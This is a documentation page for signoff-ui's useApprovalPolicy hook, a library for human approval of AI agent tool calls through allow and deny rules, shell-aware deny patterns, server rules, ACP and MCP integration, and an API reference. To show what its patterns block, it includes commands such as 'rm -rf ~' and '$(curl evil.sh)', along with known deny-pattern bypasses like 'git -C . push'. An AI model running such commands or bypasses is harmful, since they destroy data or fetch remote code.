Skip to content
signoff-uiv0.14.1

Docs

Components

useApprovalPolicy

Approval rules: once, for the session or always, by tool and argument pattern, with storage and an audit trail.

Example

The agent asks to run

Approval required

Run shell command

npm test
Calls a lasting decision covers

Remembered for run_command calls where:

* matches any text but shell operators (; & | > < and backticks); ** matches anything.

Rules

None yet: answer for this session or always.

Audit trail

No decisions yet: each one lands here, with who made it.

Interactive, and the same on the components page.

Installation

npm i signoff-ui ai
TSX
import { useApprovalPolicy, webStorageRules, setToolInput } from 'signoff-ui';
// Once per app (with Tailwind v4: @import 'signoff-ui/tailwind.css'; in your CSS)
import 'signoff-ui/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

TSX
const storage = webStorageRules(); // once, outside the component

function Run() {
  const { messages, setMessages, addToolApprovalResponse } = useChat();
  const policy = useApprovalPolicy({ storage, onAudit: (event) => log(event) });
  return messages.map((m) => (
    <AgentMessage
      key={m.id}
      message={m}
      onToolApproval={addToolApprovalResponse}
      approvalPolicy={policy}
      onToolInputEdit={(id, input) => setMessages((all) => setToolInput(all, id, input))}
    />
  ));
}

How it works

Approval rules: what a person decided once, applied to the calls that follow. A decision is allow-once, allow-session, allow-always, deny-once or deny-always. A session or always decision leaves a rule over the tool (tool, a name or a glob such as mcp_github_*), narrowed by argument patterns when given (args: { command: 'npm test*' }, with dotted names for nested arguments) or by a test of your own (when). When an allow rule and a deny rule both match a call, the deny rule wins.

The patterns

A pattern matches the whole argument, from its first character. * matches any run of characters except shell operators: ;, &, |, `, <, >, $( and line breaks. So npm test* allows npm test -- --watch, but not npm test && rm -rf ~ or npm test $(curl evil.sh). ** matches anything, operators included. ? matches one character, and \ makes the next one literal. Numbers and booleans match as text. Arrays, objects and missing arguments match no allow pattern. A dotted name reads a key with that name as well as the nested argument, and when a call has both, an allow rule needs both to match. A tool pattern reads the tool's name the same way, except in a deny rule, where * and ? match any character, since a name is no shell command: so * denies every tool, even one named after an ACP title such as Run `ls > out.txt` , which an allow rule's * leaves to a person.

A deny rule reads more, so that it still holds when a command is written another way. Its pattern also matches each command of a line on its own: the line split at ;, &, |, `, $(, (, ) and line breaks, each command read from its first word past NAME=value settings, that word without its path, with quotes and \ taken off and one space between words. A redirect goes with the word it names, so 2>/dev/null git push and git >out push read as git push, and a line that ends in \ is joined to the next. nohup, command, time, if, !, find's -exec and the like pass on to the next word, and after sudo, env, xargs, sh, bash and the like any word can start the command, a quoted one read as a line of its own. So git push* denies git status && git push, /usr/bin/git push, GIT_TRACE=1 git push, env git push and bash -c "git push", and not echo git push. The line is split inside quotes too, where < and > split it as well, so it also denies git commit -m "wip; git push", and as any word after sudo or timeout may start the command, sudo grep -rn "git push" docs too. After a quote split that way, the next word may start a command: so git push* denies FOO="a;b" git push, and rm* denies sed -i "s/a;b/c/" rm.txt. A deny pattern matches an array when an item does, or the items joined by spaces do (rm* denies ['rm', '-rf', '~']), and any other object, which it can't read. A deny rule holds, too, when its when throws, and when either reading of a dotted name matches. Matching from the first character keeps an allow rule narrow: npm test* allows neither npm test nor FOO=1 npm test.

Each rule gets 20,000 matching steps, and 30 more for each character it reads, several times what a common pattern takes: so a rule such as **PRIVATE KEY** is decided on an argument of any length, and a pattern that takes more stops early. That bounds each rule, not a call, whose matching grows with the number of rules times the length of its arguments, and a deny rule reads more of them: a string up to twice, whole and then by command, and an array up to four times, its items and then the items joined, each read both ways. The items go in one pass, each once however often it comes, and each counts as one character at least: an item costs about what a character does, not a pass of its own. A rule that stops before it can tell counts against the call: an allow rule allows nothing, and a deny rule denies, unless another deny rule covers the call. match() then reports that rule with unchecked: true, and neither answer() nor toToolApproval gives its own reason, which would say it matched: toToolApproval's is "Denied: the arguments are too long to check against a rule: …".

Patterns are a convenience, not a sandbox. A deny pattern reads the common ways to chain or prefix a command, not every way a shell can write one: git push* denies git push origin main and the lines above, but not git -C . push or git --git-dir=.git push. **git*push** denies those too, and still misses other ways to write a push, such as an alias or a script. To keep a shell tool from running what it shouldn't for other people, keep an allowlist on the server that denies the rest (toToolApproval(allowed, { otherwise: 'denied' }) for that tool's calls), or check each command with a real shell parser, in a server rule's when.

What it does

decide(request, decision, { reason, input, args }) records a person's decision, and the rule it leaves. answer(request) answers from the rules when one covers the call, recorded as decided by that rule. Asked again about a request it answered or a person decided, it gives the same outcome, as long as the tool and the arguments are the ones answered or the edit the person approved: another call that comes with the same id is decided again. match, addRule, removeRule and clearSession work on the rules directly. onAudit receives every decision, with who made it (a person or a rule), the rule, the reason and any edited arguments, as well as every rule added or removed and every session cleared.

Where rules are kept

Session rules stay in memory until the page reloads or clearSession() runs. always rules go to storage: by default in memory, webStorageRules() for localStorage, or your own { load, save }, which may be async. A rule with a when is never saved: when is code, and the rule would load without it, covering more calls. It holds until the page reloads, and a default with a when is back on each load, in place of a copy an earlier version saved without it. Rules are loaded after the first render, so a server render and the hydrating client agree. A call that arrives before they load is shown to a person. A rule added or removed before then, by a person's decision or by your app, goes over the saved rules once they load, and is saved with them: saving it sooner would replace them.

Default rules

defaultRules are the rules a person starts with, such as allowing reads. On a first visit, with nothing saved, they are the rules. An always default the person removes stays removed on later visits, and a default your app adds in a later version still appears. webStorageRules() keeps the removed ids under <key>:removed-defaults. A storage of your own keeps them with the optional loadRemovedDefaults() and saveRemovedDefaults(ids); without these, a removed default comes back on the next load. Adding a rule with a removed default's id, as a "Reset" button would, brings it back. A session default is a session rule: it comes back with each page load.

On the server

The same rules, as AI SDK 7's toolApproval: streamText({ toolApproval: toToolApproval(rules) }) approves or denies a call a rule covers, and asks a person about the rest. The SDK checks it again on an approved call before running it, with edited arguments too. It runs edited arguments, which setToolInput puts in the messages, through the tool's schema first (and experimental_refineToolInput, when set), and runs only an edit that comes out unchanged: keep the fields the schema fills in, such as a zod .default() (the card starts an edit from the input it shows, defaults included), and use transforms that give the same result when run twice. Rules a client sends are the choices of the person using it, so apply them to that person's runs only. Keep rules that protect other people on the server.

Keep the rules off a tool with no execute, such as a review_changes the page answers with a DiffReview: the review is the approval. A card for it has nothing to run. Approved, the call never gets a result: the review never shows, and recent AI SDK 7 releases end the run with AI_MissingToolResultsError. The routes below return 'not-applicable' for it, and the rules decide the other tools.

A call a rule decides carries a reason, which the approval keeps as approval.reason: by default "Allowed by a rule: …" or "Denied by a rule: …", with the rule in words. When the server's rules and the person's both decide, give each set its own reason, so the page can tell whose rule it was. The server's rules go first, and otherwise: 'not-applicable' hands the calls they don't cover to the person's:

TypeScript
const server = toToolApproval(SERVER_RULES, {
  otherwise: 'not-applicable',
  reason: (match) =>
    `${match.effect === 'allow' ? 'Allowed' : 'Denied'} by the server's rule: ${describeRule(match.rule)}`,
});
const yours = toToolApproval(rules);

streamText({
  // model, messages, tools…
  toolApproval: (options) => {
    // No execute: the page answers it with a DiffReview, which is the approval.
    if (options.toolCall.toolName === 'review_changes') return 'not-applicable';
    const decided = server(options);
    return decided === 'not-applicable' ? yours(options) : decided;
  },
});

reason gets the match: effect and the rule, with the rule's own reason if it has one, and unchecked: true when a deny rule stopped before it could tell (the patterns), so its own reason doesn't apply. It is not called for a call no rule covers, which gets otherwise.

AG-UI and ACP

With useAgUiAgent, an approval's resume payload is { approved, reason?, input? }. For the Agent Client Protocol's session/request_permission:

  • decisionsFromAcpOptions(request.options) gives the choices to offer: one per kind the agent sent exactly one option of (allow_once, allow_always, reject_once, reject_always), and Deny whenever it sent a reject_once.
  • toAcpPermissionResponse(decision, request.options) answers with the agent's one option of the same kind, and cancels the request when there is none or several.
  • fromAcpPermissionRequest(request) turns the request into the card's.

A kind the agent sent several options of is not offered, and toAcpPermissionResponse cancels rather than pick one: they grant different things. Claude Code's ExitPlanMode sends up to three allow_always options, one of them "Yes, clear context (26% used) and use auto mode", so its card offers Approve and Deny, with no Always. Deny is the exception: a "no" grants nothing, so with several reject_once options it answers the agent's first one. When decisionsFromAcpOptions returns no decision, as for an agent that sent only several allow_always options, no card can answer it: reply { outcome: { outcome: 'cancelled' } } right away instead of rendering one.

When the agent sends one allow_always option, Always answers it, whatever it grants: "Yes, and use auto mode" on Claude Code's ExitPlanMode with no plan and bypass mode off, or "Yes, allow all edits during this session" on an edit. To say what it grants, put the option's name where text wraps: in the card's description, and in the line the card shows once decided. Leave the button's label short. Card buttons don't wrap, and a name such as codex-acp's "Yes, and don't ask again for commands that start with …" on Always pushes Approve and Deny off a phone-width card.

TSX
const decisions = decisionsFromAcpOptions(request.options);
// Always is offered only when the agent sent one allow_always option.
const always = decisions.includes('allow-always')
  ? request.options.find((o) => o.kind === 'allow_always')?.name
  : undefined;

<ApprovalCard
  decisions={decisions}
  description={always ? `Always: ${always}` : undefined}
  labels={{ approvalCard: { resolved: { 'allow-always': always } } }}
  // ACP's response has no field for a reason.
  allowReason={false}
  // …
/>;

ACP has no session option, so allow-session answers allow_once and leaves the session rule on the client. These helpers are types and functions only, with no ACP package to install.

Sending a person's rules with each request

For the route to decide with the person's own rules, the page sends them with every request. The transport is made once and the rules change between requests, so body is a function, called as each request goes out. policy.getRules() returns the rules as they are at that moment, as plain data. It is the same function for the policy's life, so the transport is still made once. A "For this session" rule is in it as soon as the person chooses it, so the rule goes out with the request that carries that approval, and the server decides the run's next calls with it. Reading a ref in body would work too, but react-hooks/refs reports it.

The page:

TSX
'use client';

import { useChat } from '@ai-sdk/react';
import { DefaultChatTransport, lastAssistantMessageIsCompleteWithApprovalResponses } from 'ai';
import { useMemo } from 'react';
import { AgentMessage, useApprovalPolicy, webStorageRules } from 'signoff-ui';

const storage = webStorageRules(); // once, outside the component

export function Run() {
  const policy = useApprovalPolicy({ storage });
  const { getRules } = policy;
  const transport = useMemo(
    () => new DefaultChatTransport({ api: '/api/chat', body: () => ({ rules: getRules() }) }),
    [getRules],
  );
  const { messages, addToolApprovalResponse } = useChat({
    transport,
    sendAutomaticallyWhen: lastAssistantMessageIsCompleteWithApprovalResponses,
  });
  return messages.map((m) => (
    <AgentMessage key={m.id} message={m} approvalPolicy={policy} onToolApproval={addToolApprovalResponse} />
  ));
}

The route, app/api/chat/route.ts:

TypeScript
import { convertToModelMessages, stepCountIs, streamText, type UIMessage } from 'ai';
import { parseApprovalRules, toToolApproval } from 'signoff-ui/core';

export async function POST(req: Request) {
  const { messages, rules }: { messages: UIMessage[]; rules?: unknown } = await req.json();
  // This person's rules, for this person's run.
  const yours = toToolApproval(parseApprovalRules(rules));
  const result = streamText({
    model,
    messages: await convertToModelMessages(messages, { tools }),
    tools,
    // Not on review_changes: it has no execute, and the page answers it.
    toolApproval: (options) => (options.toolCall.toolName === 'review_changes' ? 'not-applicable' : yours(options)),
    stopWhen: stepCountIs(10),
  });
  return result.toUIMessageStreamResponse({ originalMessages: messages });
}

The server's rules win

Rules the server keeps for everyone, such as one that denies git push, go first. Make them with toToolApproval(SERVER_RULES, { otherwise: 'not-applicable' }), and ask the person's toToolApproval(parseApprovalRules(rules)) only when that returns 'not-applicable'. A rule a client sends then can't approve a call the server's rules deny. It can approve one their patterns miss, such as git -C . push past a git push* deny rule (the patterns): a rule that protects other people is an allowlist on the server, with otherwise: 'denied' for that tool's calls, or a check with a real shell parser.

The route gets whatever the client sent, so parseApprovalRules checks it: each field and its type, at most 100 rules, 20 argument patterns in a rule, 500 characters in a string, and three * in a pattern, ** counting as one. Matching takes time in proportion to the argument's length times the pattern's, whatever the number of *, and each rule's matching is bounded at about 30 steps for each character it reads (the patterns). So a call's matching grows with the number of rules times the length of its arguments: 100 rules of 500 characters, built to take the most steps for each character, take about 0.3 seconds on one plain string of 20,000 characters and 5 seconds on 400,000 (Node 24, Apple M1 Max). A deny rule reads a string up to twice, whole and then by command, and an array up to four times, each item counting as one character at least: on 20,000 and 400,000 characters with a ; in every 1,000, 100 such deny rules take about 0.5 and 10 seconds, on an array of two such strings about 1 and 20 seconds, and on an array of 40,000 empty strings, or of 10,000 different one-character strings, about 0.1 seconds. On a route that takes rules from the client, cap the length of the arguments they read, such as with .max() on the strings and arrays of the tool's input schema: the AI SDK asks toolApproval only about a call that passes it. Other limits go in the second argument, such as parseApprovalRules(rules, { maxWildcards: 1 }). A rule that fails a check is left out.

A rule the server doesn't get still holds on the page: the server asks, and the policy answers without showing anyone a card. That covers rules with a when, which getRules() leaves out: when is code, and without it the rule would cover more calls than it does. A deny rule left out would lose to an allow rule the server has, so it takes the allow rules it could overrule with it, and the server asks about those calls instead of approving them. getRules() leaves out the allow rules on the tools a deny rule with a when covers. parseApprovalRules does the same for a deny rule that fails a check, and keeps no allow rule when that rule's tool can't be read, when the rule comes after the first 100, or when the deny rules it leaves out name more than 10 tools. toPlainRules(rules) does what getRules() does, for rules kept outside the hook.

Your organization's policy first

Policy your organization keeps as code goes first the same way, and a person's rules are their own grants on top of it. With @ai-sdk/policy-opa, the policy's rules live in a .rego file, and opaPolicy decides each call with them. It answers { type: 'not-applicable' } for a call none of them matches (default decision := { "decision": "not-applicable" } in the policy), and the person's rules decide that one:

TypeScript
import { opaPolicy, wasmPolicyClient } from '@ai-sdk/policy-opa';

// Once, at startup: the policy compiled to WASM (`opa build -t wasm`).
const policy = opaPolicy({ client: await wasmPolicyClient({ wasm }), path: 'agent/call/decision' });
// opaPolicy returns a function, though its type allows a map of tools too.
if (typeof policy !== 'function') throw new TypeError('Expected a toolApproval function');
const org = policy;
const yours = toToolApproval(parseApprovalRules(rules));

streamText({
  // model, messages, tools…
  toolApproval: async (options) => {
    // No execute: the page answers it with a DiffReview, which is the approval.
    if (options.toolCall.toolName === 'review_changes') return 'not-applicable';
    const decided = await org(options);
    // opaPolicy answers in the object form: compare its type.
    const type = typeof decided === 'object' ? decided.type : decided;
    return type === undefined || type === 'not-applicable' ? yours(options) : decided;
  },
});

Compare the type, not the status: decided === 'not-applicable', as for toToolApproval's server rules above, is never true of opaPolicy's answer, and the SDK would run every call the policy has no rule for without asking anyone. The policy's denials and approvals stand, whatever the person's rules say: they reach the page decided, as "Blocked by policy" and "Auto-approved", and when it can't be evaluated, opaPolicy denies the call, so the person's rules never stand in for a policy that is down. A call it sends to a person (requires-approval) gets a card, with the policy's reason as its description (approval.requestReason), and a rule of the person's that covers it answers it on the page, as for any call the server asks about.

Risk from MCP annotations

Without risk, a card shows no risk. An MCP server says what its tools do in their annotations, and riskFromMcpAnnotations(annotations) gives a risk level from them, the first that applies:

The tool's annotationsRisk
destructiveHint: truehigh
readOnlyHint: truelow
readOnlyHint: false or openWorldHint: truemedium
none of thesenone

Only hints the server set count: the MCP spec reads a missing destructiveHint or openWorldHint as true, which would rate every tool with no annotations as risky. AI SDK 7's MCP client (@ai-sdk/mcp) puts the annotations on each call's part, as toolMetadata.annotations:

TSX
import { AgentMessage, getAllToolParts, getToolPartName, riskFromMcpAnnotations, type ToolMeta } from 'signoff-ui';

// A risk for each MCP tool in the message, from what its server says.
const tools: Record<string, ToolMeta> = {};
for (const part of getAllToolParts(message.parts)) {
  const risk = riskFromMcpAnnotations(part.toolMetadata?.annotations);
  if (risk) tools[getToolPartName(part)] = { risk };
}

<AgentMessage
  message={message}
  tools={tools}
  // …
/>;

It is a hint, not a guarantee: a server describes its own tools, and one you don't trust can mark a tool that deletes as read-only. Show the risk to a person, and keep it out of what decides a call: rules and toolApproval go by the tool and its arguments.

API reference

Generated from the types the package ships, so it matches the version you install.

useApprovalPolicy

Approval rules, held for the page: once, for the session or always, scoped by tool and by argument patterns, deny winning over allow. Pass the policy to ToolApprovalCard, AgentMessage or ToolApprovalBatch, and they offer the choices, answer what a rule already decides, and record the rest. Persistence is pluggable: always rules go to storage, session rules stay in memory.

TypeScript
useApprovalPolicy({ rules: rulesProp, defaultRules, onRulesChange, storage: storageProp, onAudit, labels }?: UseApprovalPolicyOptions | undefined): ApprovalPolicy

Parameter: UseApprovalPolicyOptions

rules
readonly ApprovalRule[]

Controlled rules: the policy decides with these, and hands every change to onRulesChange for you to pass back. Without them, it keeps its own.

defaultRules
readonly ApprovalRule[]Default []

Rules to start with, before any the storage loads. An always default the person removes stays removed on later loads, with a storage that keeps removed defaults (webStorageRules and memoryRuleStorage do). A default you add later appears, removed ones aside.

onRulesChange
(rules: ApprovalRule[]) => void

The rules after each change: a session or always decision, addRule, removeRule or clearSession, not the storage loading. With rules, set them from it.

storage
ApprovalRuleStorage

Where always rules are loaded from and saved to. Default: memory, for this page.

onAudit
(event: ApprovalAuditEvent) => void

Every decision, rule added or removed, and session cleared, as it happens.

labels
SignoffLabelsInput

Words to use instead of the English defaults: the reason a deny rule without one of its own sends (labels.approvalPolicy.ruleDenial). See SignoffLabelsProvider.

Returns: ApprovalPolicy

rulesrequired
readonly ApprovalRule[]

The rules as of this render: rules when you control them, else the defaults, the rules the storage loaded and the ones added since.

getRulesrequired
() => ApprovalRule[]

The rules as they are now, as plain data to send with a request (see toPlainRules: a rule with a when stays on the page, and a deny one keeps back the allow rules it would overrule, so the server asks about those calls). The same function for the policy's life, so a transport made once can call it in body, and it has a rule a decision just made before the page re-renders.

readyrequired
boolean

The storage has loaded: after the first render, or once an async storage's promise settles.

matchrequired
(toolName: string, input: unknown) => RuleMatch | undefined

The rule that decides a call, if one does.

deciderequired
(request: ApprovalRequest, decision: ApprovalDecision, options?: { reason?: string | undefined; input?: unknown; args?: Record<string, string> | undefined; }) => ApprovalOutcome

Record a person's decision and the rule it leaves (for session and always decisions, over the call's args when given, else every call of the tool), and return it ready to send.

answerrequired
(request: ApprovalRequest) => ApprovalOutcome | undefined

Answer a request from the rules, if one matches, recorded as decided by that rule. A request it answered before, or a person decided, gets the same outcome while its tool and input are the ones answered (or the edit the person approved); another call with that id is decided again.

outcomeOfrequired
(id: string) => ApprovalOutcome | undefined

How an answered request was decided, by its id: by a person or by which rule.

addRulerequired
(rule: ApprovalRule) => void

Add a rule, in place of one with the same id, and save it if it is an always rule without a when. A removed default's id brings that default back, as a "Reset" button would.

removeRulerequired
(id: string) => void

Remove the rule with this id. An always default stays removed on later loads, with a storage that keeps removed defaults.

clearSessionrequired
() => void

Forget the session rules.

ApprovalRule

A standing decision about a tool's calls: allowed or denied, for the session or always.

idrequired
string

Unique among the rules.

toolrequired
string

The tool's name, or a glob over names: * for every tool, mcp_github_* for a family. In a deny rule * and ? match any character of a name; in an allow rule they stop at a shell operator, as in args.

effectrequired
'allow' | 'deny'

Whether the calls it covers run without asking, or are refused. A deny rule wins over an allow rule.

scoperequired
'session' | 'always'

session: until the page reloads or the session is cleared. always: kept by the storage.

args
Readonly<Record<string, string>>

Globs by argument name, which must all match: { command: 'npm test*' }. A dotted name reads a nested argument ('options.cwd'), and a key of that name too. A deny rule's globs also match each command of a shell line (see ruleMatches). Absent: any arguments.

when
(input: unknown) => boolean

A test of your own on the input, on top of args. Code, so storage does not keep the rule.

createdAt
number

When it was made, in milliseconds since the epoch.

reason
string

Why it was made, e.g. the reason a person gave when denying.

ApprovalRuleLimits

What parseApprovalRules accepts from a client.

maxRules
number

How many rules are read: those after the first maxRules are left out. Default 100.

maxArgs
number

Argument patterns in one rule. Default 20.

maxLength
number

Characters in one string: an id, a tool, an argument's name or pattern, a reason. Default 500.

maxWildcards
number

* wildcards in one pattern, ** counting as one. Default 3, enough for a rule on what a command contains (git push*--force*). Matching takes the argument's length times the pattern's, whatever the number of *; evaluateRules bounds what each rule takes.

ApprovalDecision

What a person can decide about a tool call, and for how long it holds.

TypeScript
type ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';

ApprovalRequest

A tool call that needs a decision.

idrequired
string

The id a response answers: AI SDK's approval.id, an AG-UI interrupt's id, or for ACP the tool call's id.

toolNamerequired
string

The tool's name, which a rule's tool matches.

inputrequired
unknown

The call's arguments, which a rule's args and when match.

toolCallId
string

The tool call's own id, when the request has one apart from id, as AI SDK's approvals do.

ApprovalOutcome

A decision, ready to send: approved and reason for the agent, the rest for your app.

idrequired
string

The request's id: the approval this answers.

approvedrequired
boolean

Whether the call may run.

decisionrequired
ApprovalDecision
'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always'

What was decided, and for how long. A rule's answer is allow-session or allow-always, after the rule's scope, or deny-always.

byrequired
'user' | 'rule'

Who decided: the person (user) or one of the rules (rule).

reason
string

Why, for the agent: the reason the person gave, or for a deny rule its own reason, else labels.approvalPolicy.ruleDenial.

input
unknown

The arguments to run with, when the person edited them.

rule
ApprovalRule

The rule that decided, or the one the person's session or always decision made.

ApprovalAuditEvent

Everything the policy did, for an audit trail.

TypeScript
type ApprovalAuditEvent = {
  type: 'decision';
  at: number;
  request: ApprovalRequest;
  decision: ApprovalDecision;
  /** A person decided, or one of the rules did. */
  by: 'user' | 'rule';
  /** The rule that decided, or the one this decision made. */
  rule?: ApprovalRule | undefined;
  reason?: string | undefined;
  /** The arguments as approved, when the person edited them. */
  input?: unknown;
} | {
  type: 'rule-added' | 'rule-removed';
  at: number;
  rule: ApprovalRule;
} | {
  type: 'session-cleared';
  at: number;
  rules: ApprovalRule[];
};

ApprovalRuleStorage

Where always rules are kept between visits. Session rules are never saved, and nor is a rule with a when: when is code, and without it the rule would cover more calls than it does.

loadrequired
() => readonly ApprovalRule[] | PromiseLike<readonly ApprovalRule[]>

The saved rules, read once, after the first render. It may return a promise.

saverequired
(rules: readonly ApprovalRule[]) => void | PromiseLike<void>

Keep these rules, in place of the ones saved before: the always rules without a when, after each change. It may return a promise, which nothing waits for.

loadRemovedDefaults
() => readonly string[] | PromiseLike<readonly string[]>

The ids of always default rules the person removed, so they stay removed on the next load. Optional: without this and saveRemovedDefaults, a removed default comes back on each load.

saveRemovedDefaults
(ids: readonly string[]) => void | PromiseLike<void>

Keep the ids of the always defaults the person removed, after a change to them. Optional, with loadRemovedDefaults.

ToToolApprovalOptions

How toToolApproval answers: for the calls no rule covers, and in the reason a rule gives.

otherwise
ToolApprovalStatusLike

What a call no rule covers gets. Default 'user-approval': a person decides. 'not-applicable' leaves the call to another toolApproval, such as a second set of rules.

reason
(match: RuleMatch) => string

The reason for a call a rule decides, which the approval keeps as approval.reason: say whose rules these are, so a page can tell the server's from the person's. Default: "Allowed by a rule: …" or "Denied by a rule: …", the rule in words (describeRule), then its own reason; for an unchecked match, "Denied: the arguments are too long to check against a rule: …".

Accessibility

  • A hook with no markup of its own: ApprovalCard, ToolApprovalCard and ToolApprovalBatch carry the behavior on their pages.
  • A call a rule decides is answered without a prompt that would take focus, and reads "Allowed by your rule" or "Denied by your rule" with the rule in words.